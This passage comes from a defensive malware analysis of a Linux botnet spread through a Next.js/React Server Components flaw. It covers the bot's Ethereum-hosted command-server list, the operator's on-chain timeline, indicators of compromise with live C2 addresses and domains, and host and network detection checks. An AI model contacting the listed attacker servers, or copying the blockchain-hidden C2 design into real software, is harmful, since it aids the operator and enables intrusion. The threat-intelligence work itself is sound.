These are the six live C2 servers. Note 62.60.226.173: it is in the same /24, with the same hosting provider, as the payload server 62.60.226.31.
9.2 The namehash is dusknetwork.eth
An ENS namehash cannot be reversed, but it can be checked against a guess. The banner says "dusk network":
# pip install pycryptodome
from Crypto.Hash import keccak
def k(b): h = keccak.new(digest_bits=256); h.update(b); return h.digest()
def namehash(name):
node = b'\0' * 32
for label in reversed(name.split('.')):
node = k(node + k(label.encode()))
return node.hex()
print(namehash('dusknetwork.eth'))
# 6a096bd9c6ee416714785e19ac1f6c357f6be9dee3883838aa7b9545aa8e40b2 <- identical to the one in the binary
9.3 A fake resolver
0xd06df9e8dfab1a67b59bac76a4675d86787ba4d4 is not an official ENS resolver. It is a small, unverified contract (1,921 bytes of bytecode) that exposes text() and setText() with the same signatures. ENS-aware apps never look at it: the bot simply calls it directly with the namehash as a key.
Looking up dusknetwork.eth in the legacy ENS registry shows that the name was registered years ago by an unrelated previous owner and expired on 25 June 2025. "Dusk Network" is also the name of a legitimate blockchain project, which explains the earlier registration. The operator later registered the name again through the new ENS contracts, which is why Etherscan shows their wallet as dusknetwork.eth.
9.4 Reconstructing history with a block explorer
Etherscan or the free Blockscout API give the full transaction history of the contract's creator:
curl -s https://eth.blockscout.com/api/v2/addresses/0xd06df9e8dfab1a67b59bac76a4675d86787ba4d4 \
| python3 -c "import sys,json; d=json.load(sys.stdin); print(d['creator_address_hash'], d['creation_transaction_hash'])"
# 0xec967E414b3d192eE4090fAdfF9FAf1B44d66495 0xdb2ed52837c4d16f2f20eff53ee89db74358e70757a1d053b0a43df0eb225f35
curl -s https://eth.blockscout.com/api/v2/addresses/0xec967e414b3d192ee4090fadff9faf1b44d66495/transactions \
| python3 -c "import sys,json; [print(t['timestamp'], t.get('method'), (t['to'] or {}).get('hash')) for t in json.load(sys.stdin)['items'][::-1]]"
Or in a browser:
- operator wallet: https://etherscan.io/address/0xec967e414b3d192ee4090fadff9faf1b44d66495
- contract creation: https://etherscan.io/tx/0xdb2ed52837c4d16f2f20eff53ee89db74358e70757a1d053b0a43df0eb225f35
setText(namehash("dusknetwork.eth"), "ip", "102.220.161.194,102.220.163.203,196.251.121.249,62.60.226.173,94.154.43.235,130.12.181.199")on the fake resolver: https://etherscan.io/tx/0xc6ee5959bcade11e88ca637ed3fe30690273a2ddfe208486e7ccd933058719be- first attempt on the official ENS resolver (see the Logs tab): https://etherscan.io/tx/0x311a942f62f92ae2ee8d020c231aea84ab02e161d8329900272cacd945ed3880
- clean-up of that record: https://etherscan.io/tx/0x7d90715ee39e6f4de26a2501ced82872d7b8baf22eea927e0560fb7cb3def9df
10. The operator's timeline
All times are UTC.
| Time (UTC) | Action | Transaction hash |
|---|---|---|
| 2026-10-28 18:35:47 | Fresh wallet 0xec967e414b3d192ee4090fadff9faf1b44d66495 receives 0.02021751 ETH from 0x3f3Ee0a9cAC2d01DB44001eca3E8382fbe40207B, a high-volume service wallet (321,022 transactions) |
0x41f02d49b3301e3112f1d2a4e616514e44f66d424b35be5e7fd7bed0cf22e473 |
| 18:36:59 | swap(string aggregatorId, address tokenFrom, uint256 amount, bytes data) on MetaMask Swap 0x881D40237659C251811CEC9c364ef91dC08D300C (aggregator uniswapPermit212FeeDynamic): 0.01956 ETH → 45.824398 USDC |
0x8843560737b087caf807d41e588095a96f42c1187602ed1938e98f2c389b9c56 |
| 18:59:47 | Receives 0.00063 ETH from 0xC066ac5D385419B1A8c43A0E146fA439837a8B8c, another service wallet (851,475 transactions) |
0xd50117257da42acc90a587e5585b0b0966c66f126f63f24f341271cb550b66b3 |
| 18:59:47 | transfer(address to, uint256 value): 2.189722 USDC to 0xe3478b0BB1A5084567C319096437924948Be1964, a service wallet with 162,836 transactions (possibly the name registration; not confirmed) |
0xb81a5673c843ea9dfc854215e8ab41a79150e0a9e67ffb3ee6752d97ddc114ef |
| 18:59:47 | multicall(bytes[]) on the official ENS v2 resolver of dusknetwork.eth (0x3D0e86E0dbb1a334D3756125609Ab6a16b0305dD, a PermissionedResolver proxy). Emitted events: TextUpdated(recordId=1, key="ip", value="102.220.161.194,102.220.163.203,196.251.121.249,62.60.226.173,94.154.43.235,130.12.181.199") and ContenthashUpdated(recordId=1, hash=0xe30101701220c3c4733ec8affd06cf9e9ff50ffc6bcd2ec85a6170004bb709669c31de94391a) |
0x311a942f62f92ae2ee8d020c231aea84ab02e161d8329900272cacd945ed3880 |
| 19:33:47 | Receives 0.00087 ETH from 0xC066ac5D385419B1A8c43A0E146fA439837a8B8c |
0x6bb7688720f721c523a78661a7610654f28c8bedd5de92e77bdff04493e6af7d |
| 19:33:47 | approve(address spender, uint256 value) on USDC for the swap router |
0xa2ab40c06ad28179938c28eeee8b8e166821776da6ee2d41caf57c40a0147cb4 |
| 19:33:47 | swap(string aggregatorId, address tokenFrom, uint256 amount, bytes data) via oneInchV6FeeDynamic: 13 USDC → 0.0055 ETH |
0x488991fb435b93ec10ea95ab6e7af5d4ff7db3ca2483baac68794bd6339007d9 |
| 19:34:35 | Deploys the fake resolver 0xd06df9e8dfab1a67b59bac76a4675d86787ba4d4 |
0xdb2ed52837c4d16f2f20eff53ee89db74358e70757a1d053b0a43df0eb225f35 |
| 19:44:35 | setText(bytes32 node, string key, string value) with node 0x6a096bd9c6ee416714785e19ac1f6c357f6be9dee3883838aa7b9545aa8e40b2, key ip, value 102.220.161.194,102.220.163.203,196.251.121.249,62.60.226.173,94.154.43.235,130.12.181.199: the record the bot reads |
0xc6ee5959bcade11e88ca637ed3fe30690273a2ddfe208486e7ccd933058719be |
| 19:56:59 | multicall(bytes[]) on the official ENS resolver erasing both records: TextUpdated(recordId=1, key="ip", value=""), ContenthashUpdated(recordId=1, hash=0x) |
0x7d90715ee39e6f4de26a2501ced82872d7b8baf22eea927e0560fb7cb3def9df |
| 2026-11-03 14:23 to 14:30 | Mass exploitation reaches my server from 91.92.40.12 |
(my logs) |
My reading of this sequence, which is an inference: the operator first used ENS "the normal way", then realised that a record attached to a name is visible in every ENS app and can be flagged. So they moved the data into a private contract that no app displays, and wiped the public record. They did, however, leave dusknetwork.eth as the wallet's primary name, which is how Etherscan labels every one of their transactions. The IPFS contenthash written at 18:59 (bafybeigdyrzt5sfp7udm7hu76uh7y26nf3efuylqabf3oclgtqy55fbzdi) looks like a widely used example CID, probably pasted from documentation while experimenting; I did not fetch it.
Total infrastructure cost: under 50 USD. The money trail stops at high-volume service wallets (exchanges, swap and gas-top-up services), so on-chain analysis alone cannot identify a person.
11. Indicators of compromise
Files
| Type | Value |
|---|---|
SHA-256 x86_64.dusk |
d917efa0b3b6bf6d34a93b627cc91b88534392a3aac474b5101fd1c6937bb0cf |
MD5 x86_64.dusk |
0f7bcad90d1f6d23c541fab59bb64b4a |
| Dropped names | DUSKNET.ONTOPDUSKBOT in /tmp, /var/tmp, /dev/shm |
| Services | net-helper<N> (systemd / init.d / cron.d), Description=System Network Helper |
| Other artefacts | /tmp/.<name>.pid, <dir>/.d (C2 cache), .x*, .v3s-*, .kpa-*, .e.tmp.* |
Network
| Role | Value | Provider (RDAP) |
|---|---|---|
| Exploitation / reverse shell / stage 2 | 91.92.40.12 (ports 12323, 9999) |
TechTies Inc., NL |
| Payload server (HTTP 235, TFTP, FTP) | 62.60.226.31 |
FEMO IT Solutions / CHSCLOUD, DE |
| C2 (from chain) | 102.220.161.194, 102.220.163.203, 196.251.121.249 |
AFRINIC space |
| C2 (from chain) | 62.60.226.173 |
FEMO IT Solutions / CHSCLOUD, DE |
| C2 (from chain) | 94.154.43.235 |
Pitline, US |
| C2 (from chain) | 130.12.181.199 |
Netiface LLC |
| C2 domains | sdkconnecter.com, sdkconnect121.st, lovefromallareas.at, iwonderifulovemeaswell.vg, iloveuevenifudontlovemeback.is, okiloveyoupleasedonttouchme.net, thespacemachines.st, dnsrecordsarepowerful.com |
— |
| C2 port | 6969/tcp |
— |
Ethereum
| Role | Value |
|---|---|
Operator wallet (dusknetwork.eth) |
0xec967e414b3d192ee4090fadff9faf1b44d66495 |
| Fake resolver (C2 record) | 0xd06df9e8dfab1a67b59bac76a4675d86787ba4d4 |
| Node | namehash("dusknetwork.eth") = 0x6a096bd9c6ee416714785e19ac1f6c357f6be9dee3883838aa7b9545aa8e40b2 |
Other: the seller handle @Juuviorg (Telegram) and the argv tag logic.
12. Detection and mitigation
If you run Next.js / React Server Components: update to a patched version (see the Next.js advisory for the fixed releases), then rotate the application's secrets. Exploitation is fully automated and indiscriminate.
Quick host checks:
ls -la /tmp /var/tmp /dev/shm | grep -i dusknet
systemctl list-unit-files | grep -i net-helper
ls /etc/init.d /etc/cron.d 2>/dev/null | grep -i net-helper
grep -rs 'net-helper\|DUSKNET\|/tmp/\..*\.pid' /etc/crontab /etc/cron.d /var/spool/cron /etc/inittab
ls -la /proc/*/exe 2>/dev/null | grep '(deleted)'
Network signals worth alerting on:
- outbound
eth_callJSON-RPC ("method":"eth_call") from servers that have no business talking to Ethereum, especially toethereum-rpc.publicnode.com,gateway.tenderly.co,eth.rpc.blxrbdn.com,eth-mainnet.public.blastapi.io; - outbound DNS-over-HTTPS (
application/dns-message) from servers; - outbound connections to
tcp/6969; - requests to
ip-api.com/json/?fields=status,country,city,isp,as,query.
If a host was hit: assume every database, SSH host key, private key and environment-variable secret on it is compromised. Rotate them, then reinstall rather than clean.
13. Closing thoughts
Two takeaways.
The tradecraft is good. Plain C with musl and mbedTLS, three architectures, string encryption inlined a hundred times, three independent ways to find the C2, half a dozen persistence layers plus the hardware watchdog, and a business model (DDoS for hire) on top of opportunistic data theft. All of it delivered by a one-request exploit against a popular web framework.
Putting the C2 on a public blockchain cuts both ways. It makes the infrastructure impossible to take down: there is no registrar or hoster to contact, and an update costs cents. But it also makes the infrastructure impossible to hide. Once the contract address and the namehash are extracted from the binary, anyone can read the live C2 list with one curl, see every change the operator makes with a timestamp, and watch the wallet that pays for it. Here, that transparency gave us the operator's name for the project, the exact hour the C2 went live, and even the mistakes they made while setting it up.
References
The vulnerability
- React team, Critical Security Vulnerability in React Server Components (3 December 2025): https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
- CVE-2025-55182 (React): https://www.cve.org/CVERecord?id=CVE-2025-55182
- Next.js, Security Advisory: CVE-2025-66478: https://nextjs.org/blog/CVE-2025-66478
- GitHub advisory GHSA-9qr9-h5gf-34mp: https://github.com/vercel/next.js/security/advisories/GHSA-9qr9-h5gf-34mp
- Vercel, React2Shell Security Bulletin: https://vercel.com/kb/bulletin/react2shell
Blockchain-hosted C2 ("EtherHiding")
- Guardio Labs, EtherHiding: hiding Web2 malicious code in Web3 smart contracts: https://labs.guard.io/etherhiding-hiding-web2-malicious-code-in-web3-smart-contracts-65ea78efad16
- Google Threat Intelligence, DPRK adopts EtherHiding: https://cloud.google.com/blog/topics/threat-intelligence/dprk-adopts-etherhiding
- ENS documentation, name resolution and namehash: https://docs.ens.domains/resolution/names
- ENSIP-1 (ENS specification, namehash): https://docs.ens.domains/ensip/1
- ENSIP-5 (text records): https://docs.ens.domains/ensip/5
Cryptography, toolchain and tools
- RFC 8439, ChaCha20 and Poly1305 for IETF Protocols: https://www.rfc-editor.org/rfc/rfc8439
- musl libc: https://musl.libc.org/
- Mbed TLS: https://www.trustedfirmware.org/projects/mbed-tls/
- Unicorn Engine: https://www.unicorn-engine.org/
- Capstone Engine: https://www.capstone-engine.org/
- Blockscout API: https://docs.blockscout.com/devs/apis
- Etherscan: https://etherscan.io/
- ip-api.com (used by the bot for geolocation): https://ip-api.com/docs
Appendix: tooling and scripts
Everything was done statically on a machine that cannot run Linux ELF binaries.
| Tool | Use |
|---|---|
file, readelf, strings, sha256sum |
triage |
objdump -d -M intel |
disassembly |
Python + Capstone + Unicorn + pyelftools |
partial emulation of the decryption windows (no syscalls, all calls/jumps skipped) |
Python + pycryptodome (Keccak) |
ENS namehash and ABI selectors |
| Public Ethereum RPC, Blockscout API, Etherscan | read-only on-chain lookups |
RDAP (rdap.org) |
IP ownership |
Scripts in the repository:
analysis/ucdec.py: automatic string decryptor (152/152 sites); output inanalysis/strings.txt/strings.jsonanalysis/simd_dec.py: the six SIMD-style strings (two C2 domains, the.dcache name,/procpaths)analysis/chain/ens.py: reads the C2 record and checks resolver and registryanalysis/chain/rev.py,reg.py: namehash, reverse record and expiry checksanalysis/chain/bs.py,follow.py: transaction history and fund flows via Blockscout
Safety note: if you want to reproduce this, work on a copy of the sample, on a machine that cannot execute it, and do not connect to the attacker's infrastructure from an IP you care about. Every on-chain step above is a passive read of public data.